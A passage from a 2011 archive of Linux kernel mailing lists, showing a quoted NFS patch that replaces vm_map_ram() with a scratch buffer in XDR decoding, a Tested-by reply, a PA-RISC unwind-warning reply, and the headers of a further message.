> +	xdr_init_decode(&stream, &buf, NULL);
> +	xdr_set_scratch_buffer(&stream, page_address(scratch), PAGE_SIZE);
> =20
>  	do {
>  		status =3D xdr_decode(desc, entry, &stream);
> @@ -506,6 +506,8 @@ int nfs_readdir_page_filler(nfs_readdir_descripto=
r_t *desc, struct nfs_entry *en
>  		} else
>  			status =3D PTR_ERR(array);
>  	}
> +
> +	put_page(scratch);
>  	return status;
>  }
> =20
> @@ -521,7 +523,6 @@ static
>  void nfs_readdir_free_large_page(void *ptr, struct page **pages,
>  		unsigned int npages)
>  {
> -	vm_unmap_ram(ptr, npages);
>  	nfs_readdir_free_pagearray(pages, npages);
>  }
> =20
> @@ -530,9 +531,8 @@ void nfs_readdir_free_large_page(void *ptr, struc=
t page **pages,
>   * to nfs_readdir_free_large_page
>   */
>  static
> -void *nfs_readdir_large_page(struct page **pages, unsigned int npage=
s)
> +int nfs_readdir_large_page(struct page **pages, unsigned int npages)
>  {
> -	void *ptr;
>  	unsigned int i;
> =20
>  	for (i =3D 0; i < npages; i++) {
> @@ -541,13 +541,11 @@ void *nfs_readdir_large_page(struct page **page=
s, unsigned int npages)
>  			goto out_freepages;
>  		pages[i] =3D page;
>  	}
> +	return 0;
> =20
> -	ptr =3D vm_map_ram(pages, npages, 0, PAGE_KERNEL);
> -	if (!IS_ERR_OR_NULL(ptr))
> -		return ptr;
>  out_freepages:
>  	nfs_readdir_free_pagearray(pages, i);
> -	return NULL;
> +	return -ENOMEM;
>  }
> =20
>  static
> @@ -577,8 +575,8 @@ int nfs_readdir_xdr_to_array(nfs_readdir_descript=
or_t *desc, struct page *page,
>  	memset(array, 0, sizeof(struct nfs_cache_array));
>  	array->eof_index =3D -1;
> =20
> -	pages_ptr =3D nfs_readdir_large_page(pages, array_size);
> -	if (!pages_ptr)
> +	status =3D nfs_readdir_large_page(pages, array_size);
> +	if (status < 0)
>  		goto out_release_array;
>  	do {
>  		unsigned int pglen;
> @@ -587,7 +585,7 @@ int nfs_readdir_xdr_to_array(nfs_readdir_descript=
or_t *desc, struct page *page,
>  		if (status < 0)
>  			break;
>  		pglen =3D status;
> -		status =3D nfs_readdir_page_filler(desc, &entry, pages_ptr, page, =
pglen);
> +		status =3D nfs_readdir_page_filler(desc, &entry, pages, page, pgle=
n);
>  		if (status < 0) {
>  			if (status =3D=3D -ENOSPC)
>  				status =3D 0;
> diff --git a/fs/nfs/nfs2xdr.c b/fs/nfs/nfs2xdr.c
> index 5914a19..b382a1b 100644
> --- a/fs/nfs/nfs2xdr.c
> +++ b/fs/nfs/nfs2xdr.c
> @@ -487,12 +487,6 @@ nfs_decode_dirent(struct xdr_stream *xdr, struct=
 nfs_entry *entry, struct nfs_se
> =20
>  	entry->d_type =3D DT_UNKNOWN;
> =20
> -	p =3D xdr_inline_peek(xdr, 8);
> -	if (p !=3D NULL)
> -		entry->eof =3D !p[0] && p[1];
> -	else
> -		entry->eof =3D 0;
> -
>  	return p;
> =20
>  out_overflow:
> diff --git a/fs/nfs/nfs3xdr.c b/fs/nfs/nfs3xdr.c
> index f6cc60f..ba91236 100644
> --- a/fs/nfs/nfs3xdr.c
> +++ b/fs/nfs/nfs3xdr.c
> @@ -647,12 +647,6 @@ nfs3_decode_dirent(struct xdr_stream *xdr, struc=
t nfs_entry *entry, struct nfs_s
>  			memset((u8*)(entry->fh), 0, sizeof(*entry->fh));
>  	}
> =20
> -	p =3D xdr_inline_peek(xdr, 8);
> -	if (p !=3D NULL)
> -		entry->eof =3D !p[0] && p[1];
> -	else
> -		entry->eof =3D 0;
> -
>  	return p;
> =20
>  out_overflow:
> diff --git a/fs/nfs/nfs4xdr.c b/fs/nfs/nfs4xdr.c
> index 9f1826b..0662a98 100644
> --- a/fs/nfs/nfs4xdr.c
> +++ b/fs/nfs/nfs4xdr.c
> @@ -6215,12 +6215,6 @@ __be32 *nfs4_decode_dirent(struct xdr_stream *=
xdr, struct nfs_entry *entry,
>  	if (verify_attr_len(xdr, p, len) < 0)
>  		goto out_overflow;
> =20
> -	p =3D xdr_inline_peek(xdr, 8);
> -	if (p !=3D NULL)
> -		entry->eof =3D !p[0] && p[1];
> -	else
> -		entry->eof =3D 0;
> -
>  	return p;
> =20
>  out_overflow:
> diff --git a/include/linux/sunrpc/xdr.h b/include/linux/sunrpc/xdr.h
> index 498ab93..7783c68 100644
> --- a/include/linux/sunrpc/xdr.h
> +++ b/include/linux/sunrpc/xdr.h
> @@ -201,6 +201,8 @@ struct xdr_stream {
> =20
>  	__be32 *end;		/* end of available buffer space */
>  	struct kvec *iov;	/* pointer to the current kvec */
> +	struct kvec scratch;	/* Scratch buffer */
> +	struct page **page_ptr;	/* pointer to the current page */
>  };
> =20
>  extern void xdr_init_encode(struct xdr_stream *xdr, struct xdr_buf *=
buf, __be32 *p);
> @@ -208,7 +210,7 @@ extern __be32 *xdr_reserve_space(struct xdr_strea=
m *xdr, size_t nbytes);
>  extern void xdr_write_pages(struct xdr_stream *xdr, struct page **pa=
ges,
>  		unsigned int base, unsigned int len);
>  extern void xdr_init_decode(struct xdr_stream *xdr, struct xdr_buf *=
buf, __be32 *p);
> -extern __be32 *xdr_inline_peek(struct xdr_stream *xdr, size_t nbytes=
);
> +extern void xdr_set_scratch_buffer(struct xdr_stream *xdr, void *buf=
, size_t buflen);
>  extern __be32 *xdr_inline_decode(struct xdr_stream *xdr, size_t nbyt=
es);
>  extern void xdr_read_pages(struct xdr_stream *xdr, unsigned int len)=
;
>  extern void xdr_enter_page(struct xdr_stream *xdr, unsigned int len)=
;
> diff --git a/net/sunrpc/xdr.c b/net/sunrpc/xdr.c
> index cd9e841..679cd67 100644
> --- a/net/sunrpc/xdr.c
> +++ b/net/sunrpc/xdr.c
> @@ -552,6 +552,74 @@ void xdr_write_pages(struct xdr_stream *xdr, str=
uct page **pages, unsigned int b
>  }
>  EXPORT_SYMBOL_GPL(xdr_write_pages);
> =20
> +static void xdr_set_iov(struct xdr_stream *xdr, struct kvec *iov,
> +		__be32 *p, unsigned int len)
> +{
> +	if (len > iov->iov_len)
> +		len =3D iov->iov_len;
> +	if (p =3D=3D NULL)
> +		p =3D (__be32*)iov->iov_base;
> +	xdr->p =3D p;
> +	xdr->end =3D (__be32*)(iov->iov_base + len);
> +	xdr->iov =3D iov;
> +	xdr->page_ptr =3D NULL;
> +}
> +
> +static int xdr_set_page_base(struct xdr_stream *xdr,
> +		unsigned int base, unsigned int len)
> +{
> +	unsigned int pgnr;
> +	unsigned int maxlen;
> +	unsigned int pgoff;
> +	unsigned int pgend;
> +	void *kaddr;
> +
> +	maxlen =3D xdr->buf->page_len;
> +	if (base >=3D maxlen)
> +		return -EINVAL;
> +	maxlen -=3D base;
> +	if (len > maxlen)
> +		len =3D maxlen;
> +
> +	base +=3D xdr->buf->page_base;
> +
> +	pgnr =3D base >> PAGE_SHIFT;
> +	xdr->page_ptr =3D &xdr->buf->pages[pgnr];
> +	kaddr =3D page_address(*xdr->page_ptr);
> +
> +	pgoff =3D base & ~PAGE_MASK;
> +	xdr->p =3D (__be32*)(kaddr + pgoff);
> +
> +	pgend =3D pgoff + len;
> +	if (pgend > PAGE_SIZE)
> +		pgend =3D PAGE_SIZE;
> +	xdr->end =3D (__be32*)(kaddr + pgend);
> +	xdr->iov =3D NULL;
> +	return 0;
> +}
> +
> +static void xdr_set_next_page(struct xdr_stream *xdr)
> +{
> +	unsigned int newbase;
> +
> +	newbase =3D (1 + xdr->page_ptr - xdr->buf->pages) << PAGE_SHIFT;
> +	newbase -=3D xdr->buf->page_base;
> +
> +	if (xdr_set_page_base(xdr, newbase, PAGE_SIZE) < 0)
> +		xdr_set_iov(xdr, xdr->buf->tail, NULL, xdr->buf->len);
> +}
> +
> +static bool xdr_set_next_buffer(struct xdr_stream *xdr)
> +{
> +	if (xdr->page_ptr !=3D NULL)
> +		xdr_set_next_page(xdr);
> +	else if (xdr->iov =3D=3D xdr->buf->head) {
> +		if (xdr_set_page_base(xdr, 0, PAGE_SIZE) < 0)
> +			xdr_set_iov(xdr, xdr->buf->tail, NULL, xdr->buf->len);
> +	}
> +	return xdr->p !=3D xdr->end;
> +}
> +
>  /**
>   * xdr_init_decode - Initialize an xdr_stream for decoding data.
>   * @xdr: pointer to xdr_stream struct
> @@ -560,41 +628,67 @@ EXPORT_SYMBOL_GPL(xdr_write_pages);
>   */
>  void xdr_init_decode(struct xdr_stream *xdr, struct xdr_buf *buf, __=
be32 *p)
>  {
> -	struct kvec *iov =3D buf->head;
> -	unsigned int len =3D iov->iov_len;
> -
> -	if (len > buf->len)
> -		len =3D buf->len;
>  	xdr->buf =3D buf;
> -	xdr->iov =3D iov;
> -	xdr->p =3D p;
> -	xdr->end =3D (__be32 *)((char *)iov->iov_base + len);
> +	xdr->scratch.iov_base =3D NULL;
> +	xdr->scratch.iov_len =3D 0;
> +	if (buf->head[0].iov_len !=3D 0)
> +		xdr_set_iov(xdr, buf->head, p, buf->len);
> +	else if (buf->page_len !=3D 0)
> +		xdr_set_page_base(xdr, 0, buf->len);
>  }
>  EXPORT_SYMBOL_GPL(xdr_init_decode);
> =20
> -/**
> - * xdr_inline_peek - Allow read-ahead in the XDR data stream
> - * @xdr: pointer to xdr_stream struct
> - * @nbytes: number of bytes of data to decode
> - *
> - * Check if the input buffer is long enough to enable us to decode
> - * 'nbytes' more bytes of data starting at the current position.
> - * If so return the current pointer without updating the current
> - * pointer position.
> - */
> -__be32 * xdr_inline_peek(struct xdr_stream *xdr, size_t nbytes)
> +static __be32 * __xdr_inline_decode(struct xdr_stream *xdr, size_t n=
bytes)
>  {
>  	__be32 *p =3D xdr->p;
>  	__be32 *q =3D p + XDR_QUADLEN(nbytes);
> =20
>  	if (unlikely(q > xdr->end || q < p))
>  		return NULL;
> +	xdr->p =3D q;
>  	return p;
>  }
> -EXPORT_SYMBOL_GPL(xdr_inline_peek);
> =20
>  /**
> - * xdr_inline_decode - Retrieve non-page XDR data to decode
> + * xdr_set_scratch_buffer - Attach a scratch buffer for decoding dat=
a.
> + * @xdr: pointer to xdr_stream struct
> + * @buf: pointer to an empty buffer
> + * @buflen: size of 'buf'
> + *
> + * The scratch buffer is used when decoding from an array of pages.
> + * If an xdr_inline_decode() call spans across page boundaries, then
> + * we copy the data into the scratch buffer in order to allow linear
> + * access.
> + */
> +void xdr_set_scratch_buffer(struct xdr_stream *xdr, void *buf, size_=
t buflen)
> +{
> +	xdr->scratch.iov_base =3D buf;
> +	xdr->scratch.iov_len =3D buflen;
> +}
> +EXPORT_SYMBOL_GPL(xdr_set_scratch_buffer);
> +
> +static __be32 *xdr_copy_to_scratch(struct xdr_stream *xdr, size_t nb=
ytes)
> +{
> +	__be32 *p;
> +	void *cpdest =3D xdr->scratch.iov_base;
> +	size_t cplen =3D (char *)xdr->end - (char *)xdr->p;
> +
> +	if (nbytes > xdr->scratch.iov_len)
> +		return NULL;
> +	memcpy(cpdest, xdr->p, cplen);
> +	cpdest +=3D cplen;
> +	nbytes -=3D cplen;
> +	if (!xdr_set_next_buffer(xdr))
> +		return NULL;
> +	p =3D __xdr_inline_decode(xdr, nbytes);
> +	if (p =3D=3D NULL)
> +		return NULL;
> +	memcpy(cpdest, p, nbytes);
> +	return xdr->scratch.iov_base;
> +}
> +
> +/**
> + * xdr_inline_decode - Retrieve XDR data to decode
>   * @xdr: pointer to xdr_stream struct
>   * @nbytes: number of bytes of data to decode
>   *
> @@ -605,13 +699,16 @@ EXPORT_SYMBOL_GPL(xdr_inline_peek);
>   */
>  __be32 * xdr_inline_decode(struct xdr_stream *xdr, size_t nbytes)
>  {
> -	__be32 *p =3D xdr->p;
> -	__be32 *q =3D p + XDR_QUADLEN(nbytes);
> +	__be32 *p;
> =20
> -	if (unlikely(q > xdr->end || q < p))
> +	if (nbytes =3D=3D 0)
> +		return xdr->p;
> +	if (xdr->p =3D=3D xdr->end && !xdr_set_next_buffer(xdr))
>  		return NULL;
> -	xdr->p =3D q;
> -	return p;
> +	p =3D __xdr_inline_decode(xdr, nbytes);
> +	if (p !=3D NULL)
> +		return p;
> +	return xdr_copy_to_scratch(xdr, nbytes);
>  }
>  EXPORT_SYMBOL_GPL(xdr_inline_decode);
> =20
> @@ -671,16 +768,12 @@ EXPORT_SYMBOL_GPL(xdr_read_pages);
>   */
>  void xdr_enter_page(struct xdr_stream *xdr, unsigned int len)
>  {
> -	char * kaddr =3D page_address(xdr->buf->pages[0]);
>  	xdr_read_pages(xdr, len);
>  	/*
>  	 * Position current pointer at beginning of tail, and
>  	 * set remaining message length.
>  	 */
> -	if (len > PAGE_CACHE_SIZE - xdr->buf->page_base)
> -		len =3D PAGE_CACHE_SIZE - xdr->buf->page_base;
> -	xdr->p =3D (__be32 *)(kaddr + xdr->buf->page_base);
> -	xdr->end =3D (__be32 *)((char *)xdr->p + len);
> +	xdr_set_page_base(xdr, 0, len);
>  }
>  EXPORT_SYMBOL_GPL(xdr_enter_page);
> =20
> --=20
> 1.7.3.4
>=20
>=20
>=20
> --=20
> Trond Myklebust
> Linux NFS client maintainer
>=20
> NetApp
> Trond.Myklebust-HgOvQuBEEgTQT0dZR+AlfA@public.gmane.org
> www.netapp.com
>=20
>=20

--=20
Pengutronix e.K.                           | Uwe Kleine-K=F6nig        =
    |
Industrial Linux Solutions                 | http://www.pengutronix.de/=
  |
--
To unsubscribe from this list: send the line "unsubscribe linux-nfs" in
the body of a message to majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Marc Kleine-Budde <mkl-bIcnvbaLZ9MEGnE8C9+IrQ@public.gmane.org>
Newsgroups: gmane.linux.nfs,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch
Subject: Re: still nfs problems [Was: Linux 2.6.37-rc8]
Date: Mon, 10 Jan 2011 13:44:25 +0100
Organization: Pengutronix
Lines: 54
Approved: news@gmane.org
Message-ID: <4D2AFF29.4060008@pengutronix.de>
References: <20110105210448.GM8638@n2100.arm.linux.org.uk>	 <AANLkTi=EXXBTW7oWHq3D+PHsx=thF1CpkRjn0ax2p5rm@mail.gmail.com>	 <1294262208.2952.4.camel@heimdal.trondhjem.org>	 <AANLkTi=3Gu-rz=-OdNtUXn4qw60Df6=YePnzvB=s-+Ov@mail.gmail.com>	 <1294268808.2952.18.camel@heimdal.trondhjem.org>	 <1294270104.16957.73.camel@mulgrave.site>	 <1294335614.22825.154.camel@mulgrave.site>	 <1294336054.2905.1.camel@heimdal.trondhjem.org>	 <AANLkTimusF4KCJ4vHPn+T1dUiKxapXaT0QTtFvh8Ykdd@mail.gmail.com>	 <1294426405.2929.23.camel@heimdal.trondhjem.org>	 <20110107190229.GX31708@n2100.arm.linux.org.uk>	 <1294427467.4895.66.camel@mulgrave.site>	 <1294505384.4181.14.camel@heimdal.trondhjem.org> <1294528551.4181.19.camel@heimdal.trondhjem.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
 protocol="application/pgp-signature";
 boundary="------------enigAA42886BC7558FC86E191B1B"
X-Trace: dough.gmane.org 1294663490 9642 80.91.229.12 (10 Jan 2011 12:44:50 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 10 Jan 2011 12:44:50 +0000 (UTC)
Cc: James Bottomley <James.Bottomley-d9PhHud1JfjCXq6kfMZ53/egYHeGw8Jk@public.gmane.org>,
	Russell King - ARM Linux <linux-lFZ/pmaqli7XmaaqVzeoHQ@public.gmane.org>,
	Linus Torvalds <torvalds-de/tnXTf+JLsfHDXvbKv3WD2FQJk+8+b@public.gmane.org>,
	linux-nfs-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	=?UTF-8?B?VXdlIA==?= =?UTF-8?B?S2xlaW5lLUvDtm5pZw==?= 
	<u.kleine-koenig-bIcnvbaLZ9MEGnE8C9+IrQ@public.gmane.org>,
	Marc Kleine-Budde <m.kleine-budde-bIcnvbaLZ9MEGnE8C9+IrQ@public.gmane.org>,
	linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
	Parisc List <linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
To: Trond Myklebust <Trond.Myklebust-HgOvQuBEEgTQT0dZR+AlfA@public.gmane.org>
Original-X-From: linux-nfs-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Mon Jan 10 13:44:44 2011
Return-path: <linux-nfs-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glN-linux-nfs-1dZseelyfdZg9hUCZPvPmw@public.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-nfs-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>)
	id 1PcH75-0007P1-NY
	for glN-linux-nfs-1dZseelyfdZg9hUCZPvPmw@public.gmane.org; Mon, 10 Jan 2011 13:44:44 +0100
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
	id S1753820Ab1AJMom (ORCPT <rfc822;glN-linux-nfs@m.gmane.org>);
	Mon, 10 Jan 2011 07:44:42 -0500
Original-Received: from metis.ext.pengutronix.de ([92.198.50.35]:33049 "EHLO
	metis.ext.pengutronix.de" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753727Ab1AJMol (ORCPT
	<rfc822;linux-nfs-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>); Mon, 10 Jan 2011 07:44:41 -0500
Original-Received: from gallifrey.ext.pengutronix.de ([2001:6f8:1178:4:5054:ff:fe8d:eefb] helo=[127.0.0.1])
	by metis.ext.pengutronix.de with esmtp (Exim 4.72)
	(envelope-from <mkl-bIcnvbaLZ9MEGnE8C9+IrQ@public.gmane.org>)
	id 1PcH6u-00023Z-Tx; Mon, 10 Jan 2011 13:44:32 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101208 Thunderbird/3.1.7
In-Reply-To: <1294528551.4181.19.camel-rJ7iovZKK19ZJLDQqaL3InhyD016LWXt@public.gmane.org>
X-Enigmail-Version: 1.1.2
X-SA-Exim-Connect-IP: 2001:6f8:1178:4:5054:ff:fe8d:eefb
X-SA-Exim-Mail-From: mkl-bIcnvbaLZ9MEGnE8C9+IrQ@public.gmane.org
X-SA-Exim-Scanned: No (on metis.ext.pengutronix.de); SAEximRunCond expanded to false
X-PTX-Original-Recipient: linux-nfs-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Original-Sender: linux-nfs-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <linux-nfs.vger.kernel.org>
X-Mailing-List: linux-nfs-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.nfs:38113 gmane.linux.kernel:1085606 gmane.linux.ports.arm.kernel:101998 gmane.linux.ports.parisc:3363 gmane.linux.kernel.cross-arch:8755
Archived-At: <http://permalink.gmane.org/gmane.linux.nfs/38113>

This is an OpenPGP/MIME signed message (RFC 2440 and 3156)
--------------enigAA42886BC7558FC86E191B1B
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: quoted-printable

On 01/09/2011 12:15 AM, Trond Myklebust wrote:
> From 8b2e60cef5c65eef41ab61286f62dec6bfb1ac27 Mon Sep 17 00:00:00 2001
> From: Trond Myklebust <Trond.Myklebust-HgOvQuBEEgTQT0dZR+AlfA@public.gmane.org>
> Date: Sat, 8 Jan 2011 17:45:38 -0500
> Subject: [PATCH] NFS: Don't use vm_map_ram() in readdir
>=20
> vm_map_ram() is not available on NOMMU platforms, and causes trouble
> on incoherrent architectures such as ARM when we access the page data
> through both the direct and the virtual mapping.
>=20
> The alternative is to use the direct mapping to access page data
> for the case when we are not crossing a page boundary, but to copy
> the data into a linear scratch buffer when we are accessing data
> that spans page boundaries.
>=20
> Signed-off-by: Trond Myklebust <Trond.Myklebust-HgOvQuBEEgTQT0dZR+AlfA@public.gmane.org>
Tested-by: Marc Kleine-Budde <mkl-bIcnvbaLZ9MEGnE8C9+IrQ@public.gmane.org>

=2E.on AT91 (armv5)

regards, Marc

--=20
Pengutronix e.K.                  | Marc Kleine-Budde           |
Industrial Linux Solutions        | Phone: +49-231-2826-924     |
Vertretung West/Dortmund          | Fax:   +49-5121-206917-5555 |
Amtsgericht Hildesheim, HRA 2686  | http://www.pengutronix.de   |


--------------enigAA42886BC7558FC86E191B1B
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: OpenPGP digital signature
Content-Disposition: attachment; filename="signature.asc"

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.10 (GNU/Linux)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/

iEYEARECAAYFAk0q/ywACgkQjTAFq1RaXHPKVACfSbwPgXZNF3YdnU/W6Auad80e
/c0An3M92CG7Kp5W7OS1nHc/jof1yoS1
=1Bum
-----END PGP SIGNATURE-----

--------------enigAA42886BC7558FC86E191B1B--
--
To unsubscribe from this list: send the line "unsubscribe linux-nfs" in
the body of a message to majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: WARNING: Out of order unwind entry!
Date: Mon, 10 Jan 2011 09:40:07 -0500 (EST)
Lines: 33
Approved: news@gmane.org
Message-ID: <20110110144008.B31784DF2@hiauly1.hia.nrc.ca>
References: <alpine.SOC.1.00.1101101019020.27086@math.ut.ee>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1294670419 14318 80.91.229.12 (10 Jan 2011 14:40:19 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 10 Jan 2011 14:40:19 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: mroos@linux.ee (Meelis Roos)
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jan 10 15:40:15 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PcIuq-0004QP-1k
	for glpp-linux-parisc@lo.gmane.org; Mon, 10 Jan 2011 15:40:12 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753622Ab1AJOkL (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 10 Jan 2011 09:40:11 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.10.84]:2644 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751950Ab1AJOkK (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 10 Jan 2011 09:40:10 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id B31784DF2; Mon, 10 Jan 2011 09:40:08 -0500 (EST)
In-Reply-To: <alpine.SOC.1.00.1101101019020.27086@math.ut.ee> from "Meelis Roos" at Jan 10, 2011 10:25:31 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3364
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3364>

> I'm trying the newest kernel (2.6.37+git) on 64-bit parisc after a long 
> pause. The good news is that PCI resource allocatrion problem with tulip 
> (that was biting me at about 2.6.30-31 timeframe) has been fixed.
> 
> Generally it seems to run good but I get a couple of warnings in dmesg. 
> The first is a bunch of warnings about out of order unwind entries:
> 
> [    0.000000] unwind_init: start = 0x4050f000, end = 0x4053cef0, entries = 11759
> [    0.000000] WARNING: Out of order unwind entry! 0000000040510720 and 0000000040510730
> [    0.000000] WARNING: Out of order unwind entry! 0000000040510730 and 0000000040510740
> [    0.000000] WARNING: Out of order unwind entry! 0000000040511330 and 0000000040511340
> [    0.000000] WARNING: Out of order unwind entry! 0000000040511340 and 0000000040511350
> 
> Is this report any good or should I provide vmlinux or some other debug 
> output? Or if it is known anyway then please just ignore my report.

This should be fixed by a combination of kernel and binutils fixes.
Look back in the archives for details.

The binutils version currently in debian unstable isn't new enough.
If you build your own, you have to make sure GCC uses it.  Currently,
debian configures their 64-bit hppa compiler builds with --with-as=...
So, you may also want to rebuild GCC.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Trond Myklebust <Trond.Myklebust@netapp.com>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.nfs,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc
Subject: Re: still nfs problems [Was: Linux 2.6.37-rc8]
Date: Mon, 10 Jan 2011 11:25:34 -0500
Organization: NetApp Inc
Lines: 25
Approved: news@gmane.org
Message-ID: <1294676734.3349.10.camel@heimdal.trondhjem.org>
References: <1294268808.2952.18.camel@heimdal.trondhjem.org>
	 <1294270104.16957.73.camel@mulgrave.site>
	 <1294335614.22825.154.camel@mulgrave.site>
	 <1294336054.2905.1.camel@heimdal.trondhjem.org>
	 <AANLkTimusF4KCJ4vHPn+T1dUiKxapXaT0QTtFvh8Ykdd@mail.gmail.com>
	 <1294426405.2929.23.camel@heimdal.trondhjem.org>
	 <20110107190229.GX31708@n2100.arm.linux.org.uk>
	 <1294427467.4895.66.camel@mulgrave.site>
	 <1294505384.4181.14.camel@heimdal.trondhjem.org>
	 <1294528551.4181.19.camel@heimdal.trondhjem.org>
	 <20110110105019.GC24920@pengutronix.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1294676765 17395 80.91.229.12 (10 Jan 2011 16:26:05 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 10 Jan 2011 16:26:05 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>,
	Russell King - ARM Linux <linux@arm.linux.org.uk>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	linux-nfs@vger.kernel.org, linux-kernel@vger.kernel.org,
	Marc Kleine-Budde <mkl@pengutronix.de>,
	Marc Kleine-Budde <m.kleine-budde@pengutronix.de>,
	linux-arm-kernel@lists.infradead.org,
	Parisc List <linux-parisc@vger.kernel.org>,
	linux-arch@vger.kernel.org
To: Uwe =?ISO-8859-1?Q?Kleine-K=F6nig?= 
	<u.kleine-koenig@pengutronix.de>
Original-X-From: linux-arch-owner@vger.kernel.org Mon Jan 10 17:25:58 2011
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1PcKZC-0006wc-1P
	for glka-linux-arch@lo.gmane.org; Mon, 10 Jan 2011 17:25:58 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753460Ab1AJQZ5 convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glka-linux-arch@m.gmane.org>);
	Mon, 10 Jan 2011 11:25:57 -0500
Original-Received: from mx2.netapp.com ([216.240.18.37]:35306 "EHLO mx2.netapp.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753153Ab1AJQZ4 convert rfc822-to-8bit (ORCPT
	<rfc822;linux-arch@vger.kernel.org>); Mon, 10 Jan 2011 11:25:56 -0500
X-IronPort-AV: E=Sophos;i="4.60,301,1291622400"; 
   d="scan'208";a="503598106"
Original-Received: from smtp1.corp.netapp.com ([10.57.156.124])
  by mx2-out.netapp.com with ESMTP; 10 Jan 2011 08:25:38 -0800
Original-Received: from sacrsexc2-prd.hq.netapp.com (sacrsexc2-prd.hq.netapp.com [10.99.115.28])
	by smtp1.corp.netapp.com (8.13.1/8.13.1/NTAP-1.6) with ESMTP id p0AGPZLK029816;
	Mon, 10 Jan 2011 08:25:35 -0800 (PST)
Original-Received: from SACMVEXC2-PRD.hq.netapp.com ([10.99.115.18]) by sacrsexc2-prd.hq.netapp.com with Microsoft SMTPSVC(6.0.3790.3959);
